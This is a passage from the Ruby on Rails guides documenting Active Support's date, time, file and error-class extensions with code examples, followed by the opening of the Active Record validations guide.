`beginning_of_quarter` is aliased to [`at_beginning_of_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_quarter), and `end_of_quarter` is aliased to [`at_end_of_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_end_of_quarter).

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.2.6. `beginning_of_year`, `end_of_year`](#beginning-of-year-end-of-year)

The methods [`beginning_of_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-beginning_of_year) and [`end_of_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-end_of_year) return the dates for the beginning and end of the year:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year      # => Fri, 01 Jan 2010
d.end_of_year            # => Fri, 31 Dec 2010
```

`beginning_of_year` is aliased to [`at_beginning_of_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_year), and `end_of_year` is aliased to [`at_end_of_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_end_of_year).

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

#### [15.1.3. Other Date Computations](#other-date-computations)

##### [15.1.3.1. `years_ago`, `years_since`](#years-ago-years-since)

The method [`years_ago`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-years_ago) receives a number of years and returns the same date those many years ago:

```
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000
```

[`years_since`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-years_since) moves forward in time:

```
date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
```

[`last_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-last_year) is short-hand for `#years_ago(1)`.

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.3.2. `months_ago`, `months_since`](#months-ago-months-since)

The methods [`months_ago`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-months_ago) and [`months_since`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-months_since) work analogously for months:

```
Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
```

[`last_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-last_month) is short-hand for `#months_ago(1)`.

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.3.3. `weeks_ago`, `weeks_since`](#weeks-ago-weeks-since)

The method [`weeks_ago`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-weeks_ago) and \[`weeks_since`]\[DateAndTime::Calculations#week\_since] work analogously for weeks:

```
Date.new(2010, 5, 24).weeks_ago(1)   # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_since(2) # => Mon, 07 Jun 2010
```

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.3.4. `advance`](#other-date-computations-advance)

The most generic way to jump to other days is [`advance`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-advance). This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:

```
date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
```

Note in the previous example that increments may be negative.

Defined in `active_support/core_ext/date/calculations.rb`.

#### [15.1.4. Changing Components](#extensions-to-date-calculations-changing-components)

The method [`change`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-change) allows you to get a new date which is the same as the receiver except for the given year, month, or day:

```
Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011
```

This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:

```
Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date
```

Defined in `active_support/core_ext/date/calculations.rb`.

#### [15.1.5. Durations](#extensions-to-date-calculations-durations)

[`Duration`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html) objects can be added to and subtracted from dates:

```
d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
```

They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:

```
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
```

#### [15.1.6. Timestamps](#timestamps)

The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.

##### [15.1.6.1. `beginning_of_day`, `end_of_day`](#beginning-of-day-end-of-day)

The method [`beginning_of_day`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-beginning_of_day) returns a timestamp at the beginning of the day (00:00:00):

```
date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
```

The method [`end_of_day`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-end_of_day) returns a timestamp at the end of the day (23:59:59):

```
date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
```

`beginning_of_day` is aliased to [`at_beginning_of_day`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-at_beginning_of_day), [`midnight`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-midnight), [`at_midnight`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-at_midnight).

Defined in `active_support/core_ext/date/calculations.rb`.

##### [15.1.6.2. `beginning_of_hour`, `end_of_hour`](#beginning-of-hour-end-of-hour)

The method [`beginning_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-beginning_of_hour) returns a timestamp at the beginning of the hour (hh:00:00):

```
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
```

The method [`end_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-end_of_hour) returns a timestamp at the end of the hour (hh:59:59):

```
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
```

`beginning_of_hour` is aliased to [`at_beginning_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-at_beginning_of_hour).

Defined in `active_support/core_ext/date_time/calculations.rb`.

##### [15.1.6.3. `beginning_of_minute`, `end_of_minute`](#beginning-of-minute-end-of-minute)

The method [`beginning_of_minute`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-beginning_of_minute) returns a timestamp at the beginning of the minute (hh:mm:00):

```
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
```

The method [`end_of_minute`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-end_of_minute) returns a timestamp at the end of the minute (hh:mm:59):

```
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
```

`beginning_of_minute` is aliased to [`at_beginning_of_minute`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-at_beginning_of_minute).

`beginning_of_hour`, `end_of_hour`, `beginning_of_minute`, and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.

Defined in `active_support/core_ext/date_time/calculations.rb`.

##### [15.1.6.4. `ago`, `since`](#ago-since)

The method [`ago`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-ago) receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

```
date = Date.current # => Fri, 11 Jun 2010
date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
```

Similarly, [`since`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-i-since) moves forward:

```
date = Date.current # => Fri, 11 Jun 2010
date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
```

Defined in `active_support/core_ext/date/calculations.rb`.

## [16. Extensions to `DateTime`](#extensions-to-datetime)

`DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example [`seconds_since_midnight`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-seconds_since_midnight) might not return the real amount in such a day.

### [16.1. Calculations](#extensions-to-datetime-calculations)

The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes.

The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:

* [`beginning_of_day`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-beginning_of_day) / [`midnight`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-midnight) / [`at_midnight`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-at_midnight) / [`at_beginning_of_day`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-at_beginning_of_day)
* [`end_of_day`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-end_of_day)
* [`ago`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-ago)
* [`since`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-since) / [`in`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-in)

On the other hand, [`advance`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-advance) and [`change`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-change) are also defined and support more options, they are documented below.

The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:

* [`beginning_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-beginning_of_hour) / [`at_beginning_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-at_beginning_of_hour)
* [`end_of_hour`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-end_of_hour)

#### [16.1.1. Named Datetimes](#named-datetimes)

##### [16.1.1.1. `DateTime.current`](#datetime-current)

Active Support defines [`DateTime.current`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-c-current) to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. The instance predicates [`past?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-past-3F) and [`future?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-future-3F) are defined relative to `DateTime.current`.

Defined in `active_support/core_ext/date_time/calculations.rb`.

#### [16.1.2. Other Extensions](#other-extensions)

##### [16.1.2.1. `seconds_since_midnight`](#seconds-since-midnight)

The method [`seconds_since_midnight`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-seconds_since_midnight) returns the number of seconds since midnight:

```
now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
```

Defined in `active_support/core_ext/date_time/calculations.rb`.

##### [16.1.2.2. `utc`](#utc)

The method [`utc`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-utc) gives you the same datetime in the receiver expressed in UTC.

```
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
```

This method is also aliased as [`getutc`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-getutc).

Defined in `active_support/core_ext/date_time/calculations.rb`.

##### [16.1.2.3. `utc?`](#utc-questionmark)

The predicate [`utc?`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-utc-3F) says whether the receiver has UTC as its time zone:

```
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc?           # => false
now.utc.utc?       # => true
```

Defined in `active_support/core_ext/date_time/calculations.rb`.

##### [16.1.2.4. `advance`](#other-extensions-advance)

The most generic way to jump to another datetime is [`advance`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-advance). This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.

```
d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
# => Tue, 06 Sep 2011 12:34:32 +0000
```

This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling [`since`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-since) with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

```
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000
```

but if we computed them the other way around, the result would be different:

```
d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000
```

Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

Defined in `active_support/core_ext/date_time/calculations.rb`.

#### [16.1.3. Changing Components](#extensions-to-datetime-calculations-changing-components)

The method [`change`](https://api.rubyonrails.org/v8.1.4/classes/DateTime.html#method-i-change) allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:

```
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600
```

If hours are zeroed, then minutes and seconds are too (unless they have given values):

```
now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000
```

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

```
now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000
```

This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:

```
DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date
```

Defined in `active_support/core_ext/date_time/calculations.rb`.

#### [16.1.4. Durations](#extensions-to-datetime-calculations-durations)

[`Duration`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html) objects can be added to and subtracted from datetimes:

```
now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000
```

They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:

```
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
```

## [17. Extensions to `Time`](#extensions-to-time)

### [17.1. Calculations](#calculations)

They are analogous. Please refer to their documentation above and take into account the following differences:

* [`change`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-change) accepts an additional `:usec` option.
* `Time` understands DST, so you get correct DST calculations as in

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010
```

* If [`since`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-since) or [`ago`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-ago) jumps to a time that can't be expressed with `Time` a `DateTime` object is returned instead.

#### [17.1.1. `Time.current`](#time-current)

Active Support defines [`Time.current`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-c-current) to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates [`past?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-past-3F), [`today?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-today-3F), [`tomorrow?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-tomorrow-3F), [`next_day?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-next_day-3F), [`yesterday?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-yesterday-3F), [`prev_day?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-prev_day-3F) and [`future?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-future-3F), all of them relative to `Time.current`.

When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.

Defined in `active_support/core_ext/time/calculations.rb`.

#### [17.1.2. `all_day`, `all_week`, `all_month`, `all_quarter`, and `all_year`](#all-day-all-week-all-month-all-quarter-and-all-year)

The method [`all_day`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-all_day) returns a range representing the whole day of the current time.

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
```

Analogously, [`all_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-all_week), [`all_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-all_month), [`all_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-all_quarter) and [`all_year`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-all_year) all serve the purpose of generating time ranges.

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
```

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

#### [17.1.3. `prev_day`, `next_day`](#prev-day-next-day)

[`prev_day`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-prev_day) and [`next_day`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-next_day) return the time in the last or next day:

```
t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_day               # => 2010-05-07 00:00:00 +0900
t.next_day               # => 2010-05-09 00:00:00 +0900
```

Defined in `active_support/core_ext/time/calculations.rb`.

#### [17.1.4. `prev_month`, `next_month`](#prev-month-next-month)

[`prev_month`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-prev_month) and [`next_month`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-next_month) return the time with the same day in the last or next month:

```
t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_month             # => 2010-04-08 00:00:00 +0900
t.next_month             # => 2010-06-08 00:00:00 +0900
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Time.new(2000, 5, 31).prev_month # => 2000-04-30 00:00:00 +0900
Time.new(2000, 3, 31).prev_month # => 2000-02-29 00:00:00 +0900
Time.new(2000, 5, 31).next_month # => 2000-06-30 00:00:00 +0900
Time.new(2000, 1, 31).next_month # => 2000-02-29 00:00:00 +0900
```

Defined in `active_support/core_ext/time/calculations.rb`.

#### [17.1.5. `prev_year`, `next_year`](#prev-year-next-year)

[`prev_year`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-prev_year) and [`next_year`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-i-next_year) return a time with the same day/month in the last or next year:

```
t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_year              # => 2009-05-08 00:00:00 +0900
t.next_year              # => 2011-05-08 00:00:00 +0900
```

If date is the 29th of February of a leap year, you obtain the 28th:

```
t = Time.new(2000, 2, 29) # => 2000-02-29 00:00:00 +0900
t.prev_year               # => 1999-02-28 00:00:00 +0900
t.next_year               # => 2001-02-28 00:00:00 +0900
```

Defined in `active_support/core_ext/time/calculations.rb`.

#### [17.1.6. `prev_quarter`, `next_quarter`](#prev-quarter-next-quarter)

[`prev_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-prev_quarter) and [`next_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-next_quarter) return the date with the same day in the previous or next quarter:

```
t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300
t.prev_quarter             # => 2010-02-08 00:00:00 +0200
t.next_quarter             # => 2010-08-08 00:00:00 +0300
```

If such a day does not exist, the last day of the corresponding month is returned:

```
Time.local(2000, 7, 31).prev_quarter  # => 2000-04-30 00:00:00 +0300
Time.local(2000, 5, 31).prev_quarter  # => 2000-02-29 00:00:00 +0200
Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300
Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200
```

`prev_quarter` is aliased to [`last_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-last_quarter).

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

### [17.2. Time Constructors](#time-constructors)

Active Support defines [`Time.current`](https://api.rubyonrails.org/v8.1.4/classes/Time.html#method-c-current) to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
```

Analogously to `DateTime`, the predicates [`past?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-past-3F), and [`future?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-future-3F) are relative to `Time.current`.

If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.

#### [17.2.1. Durations](#durations)

[`Duration`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html) objects can be added to and subtracted from time objects:

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
```

They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:

```
Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
```

## [18. Extensions to `File`](#extensions-to-file)

### [18.1. `atomic_write`](#atomic-write)

With the class method [`File.atomic_write`](https://api.rubyonrails.org/v8.1.4/classes/File.html#method-c-atomic_write) you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like `all.css`:

```
File.atomic_write(joined_asset_path) do |cache|
  cache.write(join_asset_file_contents(asset_paths))
end
```

To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.

Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified.

Note you can't append with `atomic_write`.

The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

Defined in `active_support/core_ext/file/atomic.rb`.

## [19. Extensions to `NameError`](#extensions-to-nameerror)

Active Support adds [`missing_name?`](https://api.rubyonrails.org/v8.1.4/classes/NameError.html#method-i-missing_name-3F) to `NameError`, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name.

A symbol can represent a fully qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:

```
def default_helper_module!
  module_name = name.delete_suffix("Controller")
  module_path = module_name.underscore
  helper module_path
rescue LoadError => e
  raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end
```

Defined in `active_support/core_ext/name_error.rb`.

## [20. Extensions to `LoadError`](#extensions-to-loaderror)

Active Support adds [`is_missing?`](https://api.rubyonrails.org/v8.1.4/classes/LoadError.html#method-i-is_missing-3F) to `LoadError`.

Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:

```
def default_helper_module!
  module_name = name.delete_suffix("Controller")
  module_path = module_name.underscore
  helper module_path
rescue LoadError => e
  raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end
```

Defined in `active_support/core_ext/load_error.rb`.

## [21. Extensions to Pathname](#extensions-to-pathname)

### [21.1. `existence`](#existence)

The [`existence`](https://api.rubyonrails.org/v8.1.4/classes/Pathname.html#method-i-existence) method returns the receiver if the named file exists otherwise returns `nil`. It is useful for idioms like this:

```
content = Pathname.new("file").existence&.read
```

Defined in `active_support/core_ext/pathname/existence.rb`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_validations.html
----

***

## [1. Validations Overview](#validations-overview)

Here's an example of a very simple validation:

```
class Person < ApplicationRecord
  validates :name, presence: true
end
```

```
irb> Person.new(name: "John Doe").valid?
=> true
irb> Person.new(name: nil).valid?
=> false
```

As you can see, the `Person` is not valid without a `name` attribute.

Before we dig into more details, let's talk about how validations fit into the big picture of your application.

### [1.1. Why Use Validations?](#why-use-validations-questionmark)

Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. Model-level validations are the best way to ensure that only valid data is saved into your database. They can be used with any database, cannot be bypassed by end users, and are convenient to test and maintain. Rails provides built-in helpers for common needs, and allows you to create your own validation methods as well.

### [1.2. Alternate Ways to Validate](#alternate-ways-to-validate)

There are several other ways to validate data before it is saved into your database, including native database constraints, client-side validations and controller-level validations. Here's a summary of the pros and cons:

* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to keep your controllers simple, as it will make working with your application easier in the long run.

Rails recommends using model-level validations in most circumstances, however there may be specific cases where you want to complement them with alternate validations.

### [1.3. Validation Triggers](#validation-triggers)

There are two kinds of Active Record objects - those that correspond to a row inside your database and those that do not. When you instantiate a new object, using the `new` method, the object does not get saved in the database as yet. Once you call `save` on that object, it will be saved into the appropriate database table. Active Record uses an instance method called `persisted?` (and its inverse `new_record?`) to determine whether an object is already in the database or not. Consider the following Active Record class:

```
class Person < ApplicationRecord
end
```

We can see how it works by looking at some `bin/rails console` output:

```
irb> p = Person.new(name: "Jane Doe")
=> #<Person id: nil, name: "Jane Doe", created_at: nil, updated_at: nil>

irb> p.new_record?
=> true

irb> p.persisted?
=> false

irb> p.save
=> true

irb> p.new_record?
=> false

irb> p.persisted?
=> true
```

